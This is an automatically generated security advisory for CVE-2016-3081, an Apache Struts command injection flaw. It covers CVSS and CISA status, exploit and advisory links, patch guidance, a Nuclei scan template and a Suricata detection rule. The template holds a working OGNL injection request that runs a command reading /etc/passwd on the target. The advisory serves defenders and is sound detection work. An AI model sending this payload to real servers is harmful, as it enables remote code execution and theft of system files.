CVE-2016-3081: Apache Struts Command Injection Vulnerability
Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.
Generated by VEDAS. Scores as of 2026-11-01 19:19 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.
What it is
Apache Struts 2.3.19 to 2.3.20.2, 2.3.21 to 2.3.24.1, and 2.3.25 to 2.3.28, when Dynamic Method Invocation is enabled, allow remote attackers to execute arbitrary code via method: prefix, related to chained expressions.
Description quoted from the CVE record (assigned by redhat, published 2016-04-26).
Weakness: CWE-77 Improper Neutralization of Special Elements used in a Command (‘Command Injection’)
How it can be exploited
Exploitable over the network with high attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: no. Technical impact: total.
- On CISA KEV since
- 2026-10-08
- US federal deadline
- 2026-10-11
- Ransomware use
- Not known
Public exploit evidence (Exploit Observer)
Also known as: BDU:2022-05996, CNNVD-201604-585, CNVD-2016-02506, EDB-39756, EUVD-2022-3161, GHSA-8c6j-ffmf-q6vm, SNYK-JAVA-ORGAPACHESTRUTS-30770
VEDAS cluster: VEDAS:BLUEBRAIN
Exploit Observer links 7 pieces of public exploit code or detection modules that name this CVE or one of its aliases.
Exploit code and modules (7)
Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.
- Exploit-DB: https://www.exploit-db.com/raw/39756
- Nuclei template: https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/http/cves/2016/CVE-2016-3081.yaml
- Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/nuclei/2016/CVE-2016-3081.yaml
- Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/nuclei/2016/CVE-2016-3081.yaml
- Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/suricata/2016/CVE-2016-3081.rules
- Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/suricata/2016/CVE-2016-3081.rules
- Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/suricata/2016/CVE-2016-3081.rules
Vulnerability databases and vendor advisories (12)
Catalogue entries, not exploit evidence.
- Vulnerability database or vendor advisory: https://euvd.enisa.europa.eu/enisa/EUVD-2022-3161
- Vulnerability database or vendor advisory: https://github.com/advisories/GHSA-8c6j-ffmf-q6vm
- Vulnerability database or vendor advisory: https://nvd.nist.gov/vuln/detail/CVE-2016-3081
- Vulnerability database or vendor advisory: https://osv.dev/vulnerability/CVE-2016-3081
- Vulnerability database or vendor advisory: https://osv.dev/vulnerability/CVE-2016-3081
- Vulnerability database or vendor advisory: https://osv.dev/vulnerability/GHSA-8c6j-ffmf-q6vm
- Vulnerability database or vendor advisory: https://osv.dev/vulnerability/GHSA-8c6j-ffmf-q6vm
- Vulnerability database or vendor advisory: https://security.snyk.io/vuln/SNYK-JAVA-ORGAPACHESTRUTS-30770
- Vulnerability database or vendor advisory: https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2016-3081
- Vulnerability database or vendor advisory: https://www.cnnvd.org.cn/home/globalSearch?keyword=CNNVD-201604-585
- Vulnerability database or vendor advisory: https://www.cnvd.org.cn/flaw/show/CNVD-2016-02506
- Vulnerability database or vendor advisory: https://www.suse.com/security/cve/CVE-2016-3081
42 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.
VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.
Live scores
- EPSS
- 0.965
very likely to be attacked soon - VEDAS
- 0.990
strong exploit evidence - On CISA KEV
- Yes, since 2026-10-08
Thin horizontal line: the “likely” (EPSS 0.10) or “strong” (VEDAS 0.90) threshold. Shaded “no data” areas are periods when cve-scores did not publish. The vertical line is the day CISA added it to its exploited list.
VEDAS flagged this bug about 417 days before CISA confirmed attacks.
Who is affected
| Product | Affected | Not affected |
|---|---|---|
| Not stated | version n/a | Not stated |
Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.
How to fix it
CISA required action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset’s internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Vendor guidance:
- https://cwiki.apache.org/confluence/display/WW/S2-032
- https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk
- https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk
- https://nvd.nist.gov/vuln/detail/CVE-2016-3081
How to detect it
Nuclei template (active check)
Apache Struts - Command Injection
Apache Struts 2.3.19 to 2.3.20.2, 2.3.21 to 2.3.24.1, and 2.3.25 to 2.3.28, when Dynamic Method Invocation is enabled, allow remote attackers to execute arbitrary code via method: prefix, related to chained expressions.
Name and description quoted from the template, written by VEDAS.
The template sends 1 request (GET /index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_M...); it decides using regex, status matchers. Severity in the template: high. Marked as not yet verified against a live vulnerable target.
Run it against a host you own or are authorised to test:
nuclei -u https://your-host -t CVE-2016-3081.yamlShow the template (35 lines)
id: CVE-2016-3081
info:
name: "Apache Struts - Command Injection"
author: vedas-arpsyndicate
severity: high
description: |
Apache Struts 2.3.19 to 2.3.20.2, 2.3.21 to 2.3.24.1, and 2.3.25 to 2.3.28, when Dynamic Method Invocation is
enabled, allow remote attackers to execute arbitrary code via method: prefix, related to chained expressions.
reference:
- https://www.exploit.observer/?keyword=CVE-2016-3081&match=exact
- https://subdomain.center/?engine=ammonites&keyword=struts&match=exact
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.1
cve-id: CVE-2016-3081
cwe-id: CWE-77
metadata:
verified: false
tags: cve2016,cve,struts,rce,apache,vuln,vkev
http:
- raw:
- |
GET /index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=cat%20/etc/passwd HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
Suricata rules (network detection)
1 rule that alert on traffic matching this exploit: VEDAS CVE-2016-3081 Apache Struts - Command Injection. Add them to your Suricata rule set and reload.
Show the rules
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2016-3081 Apache Struts - Command Injection"; flow:established,to_server; http.uri; content:"index.action"; nocase; fast_pattern; content:"passwd"; nocase; classtype:web-application-attack; reference:cve,CVE-2016-3081; reference:url,https://www.exploit.observer/?keyword=CVE-2016-3081&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=struts&match=exact; sid:1011160; rev:1;)
Advisories on this CVE
References
Exploits and technical analysis
- 39756 (exploit, x_refsource_EXPLOIT-DB)
Government sources
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2016-3081 (government-resource)
Other references
- 1035665 (vdb-entry, x_refsource_SECTRACK)
- https://struts.apache.org/docs/s2-032.html (x_refsource_CONFIRM)
- http://www.huawei.com/en/psirt/security-advisories/huawei-sa-20160527-01-struts2-en (x_refsource_CONFIRM)
- http://www.oracle.com/technetwork/security-advisory/cpujul2016-2881720.html (x_refsource_CONFIRM)
- http://www.oracle.com/technetwork/security-advisory/cpuoct2016-2881722.html (x_refsource_CONFIRM)
- http://www.rapid7.com/db/modules/exploit/linux/http/struts_dmi_exec (x_refsource_MISC)
- 91787 (vdb-entry, x_refsource_BID)
- http://packetstormsecurity.com/files/136856/Apache-Struts-2.3.28-Dynamic-Method-Invocation-Remote-Code-Execution.html (x_refsource_MISC)
- 87327 (vdb-entry, x_refsource_BID)
- http://www.rapid7.com/db/modules/exploit/multi/http/struts_dmi_exec (x_refsource_MISC)
Other databases
Where this comes from
This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.